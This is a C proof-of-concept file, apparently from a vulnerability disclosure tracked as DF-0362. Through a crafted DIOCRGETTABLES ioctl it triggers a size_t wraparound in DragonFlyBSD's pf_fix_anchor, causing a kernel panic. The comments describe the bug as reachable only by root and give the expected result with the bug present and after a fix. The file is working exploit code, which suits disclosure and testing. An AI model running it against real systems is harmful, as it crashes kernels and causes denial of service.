DF-0362 / poc.c
/* * DF-0362 PoC: pfr_fix_anchor size_t wraparound via DIOCRGETTABLES * * The slash-counting loop in pfr_fix_anchor() has no bound against * siz=MAXPATHLEN(1024). When pfrt_anchor[0..1023] are all '/' and * pfrt_name[0] (immediately adjacent in struct pfr_table) is also '/', * the loop reads one byte past pfrt_anchor and off becomes 1025. Then * bcopy(path, anchor, siz - off) * computes siz(1024) - off(1025) as a size_t -> wraps to ~SIZE_MAX, and * the kernel takes a fatal page fault inside bcopy. * * IMPORTANT (reachability): on DragonFlyBSD, PF is NOT compiled into the * default X86_64_GENERIC kernel -- it is a loadable KLD module * (sys/net/pf/Makefile). `/dev/pf` exists only after `kldload pf` * (root-only) and is then created mode 0600 root:wheel * (sys/net/pf/pf_ioctl.c: pf_dev = make_dev(... UID_ROOT, GID_WHEEL, * 0600, PF_NAME)). So the bug is reachable ONLY from root context: it is * a root->kernel hardening gap (kernel panic / memory corruption from a * root-held descriptor), NOT an unprivileged->root escalation. * * Build: cc -o poc poc.c * Run: ./poc # needs /dev/pf readable (root, or jail-exposed) * * Expected (BUG present): kernel panic, fatal trap 12 in bcopy/pfr_fix_anchor. * Expected (BUG fixed): ioctl returns cleanly (ENOENT/EINVAL), no panic. */ #include <sys/ioctl.h> #include <sys/types.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <stdio.h> /* Use the guest's installed kernel headers so struct layout and ioctl * numbers are byte-accurate against the running kernel. */ #include <net/if.h> /* IFNAMSIZ */ #include <net/pf/pfvar.h> int main(void) { struct pfioc_table io; int fd, rc; fd = open("/dev/pf", O_RDONLY); if (fd < 0) { perror("open /dev/pf (PF module must be loaded: kldload pf)"); return 1; } /* * Trigger layout: * pfrt_anchor[0..1023] = '/' (all 1024 bytes; no NUL terminator) * pfrt_name[0] = '/' (loop reads one byte past pfrt_anchor) * pfrt_name[1] = 0 (loop exits; off = 1025) * * The DIOCRGETTABLES path calls pfr_get_tables() which calls * pfr_fix_anchor(filter->pfrt_anchor) directly -- no prior name * validation, so the '/' in pfrt_name is fine. */ memset(&io, 0, sizeof(io)); memset(io.pfrio_table.pfrt_anchor, '/', sizeof(io.pfrio_table.pfrt_anchor)); io.pfrio_table.pfrt_name[0] = '/'; /* adjacent byte that bumps off > siz */ /* keep pfrt_name[1..31] zero so the loop exits there */ /* DIOCRGETTABLES requires pfrio_esize == sizeof(struct pfr_table) * (pf_ioctl.c:2433) or the request is rejected with ENODEV before * pfr_get_tables()/pfr_fix_anchor() is reached. */ io.pfrio_esize = sizeof(struct pfr_table); printf("DF-0362: triggering pfr_fix_anchor size_t wrap via DIOCRGETTABLES...\n"); printf(" pfrt_anchor = 1024 '/' ; pfrt_name = {'/',0,...}; off will reach 1025\n"); printf(" siz - off = 1024 - 1025 wraps size_t -> bcopy(...,SIZE_MAX) -> panic\n"); fflush(stdout); rc = ioctl(fd, DIOCRGETTABLES, &io); /* If we get here, the kernel did NOT panic. */ printf("DF-0362: ioctl returned rc=%d (%m)\n", rc); close(fd); return 0; } |